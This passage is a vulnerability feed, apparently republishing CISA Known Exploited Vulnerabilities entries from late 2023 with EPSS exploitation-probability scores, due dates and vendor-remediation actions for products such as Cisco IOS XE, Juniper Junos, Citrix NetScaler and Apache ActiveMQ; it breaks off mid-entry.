https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Oracle Fusion Middleware Unspecified Vulnerability https://kevwire.com/record/CVE-2020-2551 Oracle Fusion Middleware Unspecified Vulnerability (Nov 16, 2023). Oracle Fusion Middleware contains an unspecified vulnerability in the WLS Core Components that allows an unauthenticated attacker with network access via IIOP to compromise the WebLogic Server. EPSS 92.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-2551&date=2026-10-25). Sources: CISA KEV entry CVE-2020-2551: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-2551&date=2026-10-25 CISA added this entry on 2023-11-16. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Nov 16, 2023; federal due date Dec 7, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows Desktop Window Manager (DWM) Core Library Privilege Escalation Vulnerability https://kevwire.com/record/CVE-2023-36033 Microsoft Windows Desktop Window Manager (DWM) Core Library Privilege Escalation Vulnerability (Nov 14, 2023). Microsoft Windows Desktop Window Manager (DWM) Core Library contains an unspecified vulnerability that allows for privilege escalation. EPSS 10.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-36033&date=2026-10-25). Sources: CISA KEV entry CVE-2023-36033: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-36033&date=2026-10-25 CISA added this entry on 2023-11-14. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Nov 14, 2023; federal due date Dec 5, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows SmartScreen Security Feature Bypass Vulnerability https://kevwire.com/record/CVE-2023-36025 Microsoft Windows SmartScreen Security Feature Bypass Vulnerability (Nov 14, 2023). Microsoft Windows SmartScreen contains a security feature bypass vulnerability that could allow an attacker to bypass Windows Defender SmartScreen checks and their associated prompts. EPSS 88.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-36025&date=2026-10-25). Sources: CISA KEV entry CVE-2023-36025: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-36025&date=2026-10-25 CISA added this entry on 2023-11-14. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Nov 14, 2023; federal due date Dec 5, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows Cloud Files Mini Filter Driver Privilege Escalation Vulnerability https://kevwire.com/record/CVE-2023-36036 Microsoft Windows Cloud Files Mini Filter Driver Privilege Escalation Vulnerability (Nov 14, 2023). Microsoft Windows Cloud Files Mini Filter Driver contains a privilege escalation vulnerability that could allow an attacker to gain SYSTEM privileges. EPSS 16.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-36036&date=2026-10-25). Sources: CISA KEV entry CVE-2023-36036: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-36036&date=2026-10-25 CISA added this entry on 2023-11-14. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Nov 14, 2023; federal due date Dec 5, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### SysAid Server Path Traversal Vulnerability https://kevwire.com/record/CVE-2023-47246 SysAid Server Path Traversal Vulnerability (Nov 13, 2023). SysAid Server (on-premises version) contains a path traversal vulnerability that leads to code execution. EPSS 98.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-47246&date=2026-10-25). Sources: CISA KEV entry CVE-2023-47246: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-47246&date=2026-10-25 CISA added this entry on 2023-11-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Nov 13, 2023; federal due date Dec 4, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Juniper Junos OS EX Series PHP External Variable Modification Vulnerability https://kevwire.com/record/CVE-2023-36844 Juniper Junos OS EX Series PHP External Variable Modification Vulnerability (Nov 13, 2023). Juniper Junos OS on EX Series contains a PHP external variable modification vulnerability that allows an unauthenticated, network-based attacker to control certain, important environment variables. Using a crafted request an attacker is able to modify certain PHP environment variables, leading to partial loss of integrity, which may allow chaining to other vulnerabilities. EPSS 90.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-36844&date=2026-10-25). Sources: CISA KEV entry CVE-2023-36844: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-36844&date=2026-10-25 CISA added this entry on 2023-11-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Nov 13, 2023; federal due date Nov 17, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Juniper Junos OS EX Series and SRX Series PHP External Variable Modification Vulnerability https://kevwire.com/record/CVE-2023-36845 Juniper Junos OS EX Series and SRX Series PHP External Variable Modification Vulnerability (Nov 13, 2023). Juniper Junos OS on EX Series and SRX Series contains a PHP external variable modification vulnerability that allows an unauthenticated, network-based attacker to control an important environment variable. Using a crafted request, which sets the variable PHPRC, an attacker is able to modify the PHP execution environment allowing the injection und execution of code. EPSS 95.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-36845&date=2026-10-25). Sources: CISA KEV entry CVE-2023-36845: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-36845&date=2026-10-25 CISA added this entry on 2023-11-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Nov 13, 2023; federal due date Nov 17, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Juniper Junos OS SRX Series Missing Authentication for Critical Function Vulnerability https://kevwire.com/record/CVE-2023-36846 Juniper Junos OS SRX Series Missing Authentication for Critical Function Vulnerability (Nov 13, 2023). Juniper Junos OS on SRX Series contains a missing authentication for critical function vulnerability that allows an unauthenticated, network-based attacker to cause limited impact to the file system integrity. With a specific request to user.php that doesn't require authentication, an attacker is able to upload arbitrary files via J-Web, leading to a loss of integrity for a certain part of the file system, which may allow chaining to other vulnerabilities. EPSS 93.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-36846&date=2026-10-25). Sources: CISA KEV entry CVE-2023-36846: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-36846&date=2026-10-25 CISA added this entry on 2023-11-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Nov 13, 2023; federal due date Nov 17, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Juniper Junos OS EX Series Missing Authentication for Critical Function Vulnerability https://kevwire.com/record/CVE-2023-36847 Juniper Junos OS EX Series Missing Authentication for Critical Function Vulnerability (Nov 13, 2023). Juniper Junos OS on EX Series contains a missing authentication for critical function vulnerability that allows an unauthenticated, network-based attacker to cause limited impact to the file system integrity. With a specific request to installAppPackage.php that doesn't require authentication, an attacker is able to upload arbitrary files via J-Web, leading to a loss of integrity for a certain part of the file system, which may allow chaining to other vulnerabilities. EPSS 83.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-36847&date=2026-10-25). Sources: CISA KEV entry CVE-2023-36847: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-36847&date=2026-10-25 CISA added this entry on 2023-11-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Nov 13, 2023; federal due date Nov 17, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Juniper Junos OS SRX Series Missing Authentication for Critical Function Vulnerability https://kevwire.com/record/CVE-2023-36851 Juniper Junos OS SRX Series Missing Authentication for Critical Function Vulnerability (Nov 13, 2023). Juniper Junos OS on SRX Series contains a missing authentication for critical function vulnerability that allows an unauthenticated, network-based attacker to cause limited impact to the file system integrity. With a specific request to webauth_operation.php that doesn't require authentication, an attacker is able to upload arbitrary files via J-Web, leading to a loss of integrity for a certain part of the file system, which may allow chaining to other vulnerabilities. EPSS 1.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-36851&date=2026-10-25). Sources: CISA KEV entry CVE-2023-36851: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-36851&date=2026-10-25 CISA added this entry on 2023-11-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Nov 13, 2023; federal due date Nov 17, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Service Location Protocol (SLP) Denial-of-Service Vulnerability https://kevwire.com/record/CVE-2023-29552 Service Location Protocol (SLP) Denial-of-Service Vulnerability (Nov 8, 2023). The Service Location Protocol (SLP) contains a denial-of-service (DoS) vulnerability that could allow an unauthenticated, remote attacker to register services and use spoofed UDP traffic to conduct a denial-of-service (DoS) attack with a significant amplification factor. EPSS 64.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-29552&date=2026-10-25). Sources: CISA KEV entry CVE-2023-29552: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-29552&date=2026-10-25 CISA added this entry on 2023-11-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or disable SLP service or port 427/UDP on all systems running on untrusted networks, including those directly connected to the Internet. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Nov 8, 2023; federal due date Nov 29, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Atlassian Confluence Data Center and Server Improper Authorization Vulnerability https://kevwire.com/record/CVE-2023-22518 Atlassian Confluence Data Center and Server Improper Authorization Vulnerability (Nov 7, 2023). Atlassian Confluence Data Center and Server contain an improper authorization vulnerability that can result in significant data loss when exploited by an unauthenticated attacker. There is no impact on confidentiality since the attacker cannot exfiltrate any data. EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-22518&date=2026-10-25). Sources: CISA KEV entry CVE-2023-22518: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-22518&date=2026-10-25 CISA added this entry on 2023-11-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Nov 7, 2023; federal due date Nov 28, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Apache ActiveMQ Deserialization of Untrusted Data Vulnerability https://kevwire.com/record/CVE-2023-46604 Apache ActiveMQ Deserialization of Untrusted Data Vulnerability (Nov 2, 2023). Apache ActiveMQ contains a deserialization of untrusted data vulnerability that may allow a remote attacker with network access to a broker to run shell commands by manipulating serialized class types in the OpenWire protocol to cause the broker to instantiate any class on the classpath. EPSS 99.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-46604&date=2026-10-25). Sources: CISA KEV entry CVE-2023-46604: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-46604&date=2026-10-25 CISA added this entry on 2023-11-02. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Nov 2, 2023; federal due date Nov 23, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### F5 BIG-IP Configuration Utility SQL Injection Vulnerability https://kevwire.com/record/CVE-2023-46748 F5 BIG-IP Configuration Utility SQL Injection Vulnerability (Oct 31, 2023). F5 BIG-IP Configuration utility contains an SQL injection vulnerability that may allow an authenticated attacker with network access through the BIG-IP management port and/or self IP addresses to execute system commands. This vulnerability can be used in conjunction with CVE-2023-46747. EPSS 4.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-46748&date=2026-10-25). Sources: CISA KEV entry CVE-2023-46748: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-46748&date=2026-10-25 CISA added this entry on 2023-10-31. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Oct 31, 2023; federal due date Nov 21, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### F5 BIG-IP Configuration Utility Authentication Bypass Vulnerability https://kevwire.com/record/CVE-2023-46747 F5 BIG-IP Configuration Utility Authentication Bypass Vulnerability (Oct 31, 2023). F5 BIG-IP Configuration utility contains an authentication bypass using an alternate path or channel vulnerability due to undisclosed requests that may allow an unauthenticated attacker with network access to the BIG-IP system through the management port and/or self IP addresses to execute system commands. This vulnerability can be used in conjunction with CVE-2023-46748. EPSS 96.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-46747&date=2026-10-25). Sources: CISA KEV entry CVE-2023-46747: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-46747&date=2026-10-25 CISA added this entry on 2023-10-31. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Oct 31, 2023; federal due date Nov 21, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Roundcube Webmail Persistent Cross-Site Scripting (XSS) Vulnerability https://kevwire.com/record/CVE-2023-5631 Roundcube Webmail Persistent Cross-Site Scripting (XSS) Vulnerability (Oct 26, 2023). Roundcube Webmail contains a persistent cross-site scripting (XSS) vulnerability that allows a remote attacker to run malicious JavaScript code. EPSS 76.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-5631&date=2026-10-25). Sources: CISA KEV entry CVE-2023-5631: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-5631&date=2026-10-25 CISA added this entry on 2023-10-26. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Oct 26, 2023; federal due date Nov 16, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Cisco IOS XE Web UI Command Injection Vulnerability https://kevwire.com/record/CVE-2023-20273 Cisco IOS XE Web UI Command Injection Vulnerability (Oct 23, 2023). Cisco IOS XE contains a command injection vulnerability in the web user interface. When chained with CVE-2023-20198, the attacker can leverage the new local user to elevate privilege to root and write the implant to the file system. Cisco identified CVE-2023-20273 as the vulnerability exploited to deploy the implant. CVE-2021-1435, previously associated with the exploitation events, is no longer believed to be related to this activity. EPSS 92.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-20273&date=2026-10-25). Sources: CISA KEV entry CVE-2023-20273: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-20273&date=2026-10-25 CISA added this entry on 2023-10-23. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Verify that instances of Cisco IOS XE Web UI are in compliance with BOD 23-02 and apply mitigations per vendor instructions. For affected products (Cisco IOS XE Web UI exposed to the internet or to untrusted networks), follow vendor instructions to determine if a system may have been compromised and immediately report positive findings to CISA. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Oct 23, 2023; federal due date Oct 27, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Citrix NetScaler ADC and NetScaler Gateway Buffer Overflow Vulnerability https://kevwire.com/record/CVE-2023-4966 Citrix NetScaler ADC and NetScaler Gateway Buffer Overflow Vulnerability (Oct 18, 2023). Citrix NetScaler ADC and NetScaler Gateway contain a buffer overflow vulnerability that allows for sensitive information disclosure when configured as a Gateway (VPN virtual server, ICA Proxy, CVPN, RDP Proxy) or AAA virtual server. EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-4966&date=2026-10-25). Sources: CISA KEV entry CVE-2023-4966: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-4966&date=2026-10-25 CISA added this entry on 2023-10-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations and kill all active and persistent sessions per vendor instructions [https://www.netscaler.com/blog/news/cve-2023-4966-critical-security-update-now-available-for-netscaler-adc-and-netscaler-gateway/] OR discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Oct 18, 2023; federal due date Nov 8, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Cisco IOS XE Web UI Privilege Escalation Vulnerability https://kevwire.com/record/CVE-2023-20198 Cisco IOS XE Web UI Privilege Escalation Vulnerability (Oct 16, 2023). Cisco IOS XE Web UI contains a privilege escalation vulnerability in the web user interface that could allow a remote, unauthenticated attacker to create an account with privilege level 15 access. The attacker can then use that account to gain control of the affected device. EPSS 99.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-20198&date=2026-10-25). Sources: CISA KEV entry CVE-2023-20198: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-20198&date=2026-10-25 CISA added this entry on 2023-10-16. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Verify that instances of Cisco IOS XE Web UI are in compliance with BOD 23-02 and apply mitigations per vendor instructions. For affected products (Cisco IOS XE Web UI exposed to the internet or to untrusted networks), follow vendor instructions to determine if a system may have been compromised and immediately report positive findings to CISA. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Oct 16, 2023; federal due date Oct 20, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Adobe Acrobat and Reader Use-After-Free Vulnerability https://kevwire.com/record/CVE-2023-21608 Adobe Acrobat and Reader Use-After-Free Vulnerability (Oct 10, 2023). Adobe Acrobat and Reader contains a use-after-free vulnerability that allows for code execution in the context of the current user. EPSS 59.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-21608&date=2026-10-25). Sources: CISA KEV entry CVE-2023-21608: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-21608&date=2026-10-25 CISA added this entry on 2023-10-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Oct 10, 2023; federal due date Oct 31, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Cisco IOS and IOS XE Group Encrypted Transport VPN Out-of-Bounds Write Vulnerability https://kevwire.com/record/CVE-2023-20109 Cisco IOS and IOS XE Group Encrypted Transport VPN Out-of-Bounds Write Vulnerability (Oct 10, 2023). Cisco IOS and IOS XE contain an out-of-bounds write vulnerability in the Group Encrypted Transport VPN (GET VPN) feature that could allow an authenticated, remote attacker who has administrative control of either a group member or a key server to execute malicious code or cause a device to crash. EPSS 2.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-20109&date=2026-10-25). Sources: CISA KEV entry CVE-2023-20109: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-20109&date=2026-10-25 CISA added this entry on 2023-10-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Oct 10, 2023; federal due date Oct 31, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Skype for Business Privilege Escalation Vulnerability https://kevwire.com/record/CVE-2023-41763 Microsoft Skype for Business Privilege Escalation Vulnerability (Oct 10, 2023). Microsoft Skype for Business contains an unspecified vulnerability that allows for privilege escalation. EPSS 90.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-41763&date=2026-10-25). Sources: CISA KEV entry CVE-2023-41763: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-41763&date=2026-10-25 CISA added this entry on 2023-10-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Oct 10, 2023; federal due date Oct 31, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft WordPad Information Disclosure Vulnerability https://kevwire.com/record/CVE-2023-36563 Microsoft WordPad Information Disclosure Vulnerability (Oct 10, 2023). Microsoft WordPad contains an unspecified vulnerability that allows for information disclosure. EPSS 20.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-36563&date=2026-10-25). Sources: CISA KEV entry CVE-2023-36563: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-36563&date=2026-10-25 CISA added this entry on 2023-10-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Oct 10, 2023; federal due date Oct 31, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### HTTP/2 Rapid Reset Attack Vulnerability https://kevwire.com/record/CVE-2023-44487 HTTP/2 Rapid Reset Attack Vulnerability (Oct 10, 2023). HTTP/2 contains a rapid reset vulnerability that allows for a distributed denial-of-service attack (DDoS). EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-44487&date=2026-10-25). Sources: CISA KEV entry CVE-2023-44487: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-44487&date=2026-10-25 CISA added this entry on 2023-10-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Oct 10, 2023; federal due date Oct 31, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Atlassian Confluence Data Center and Server Broken Access Control Vulnerability https://kevwire.com/record/CVE-2023-22515 Atlassian Confluence Data Center and Server Broken Access 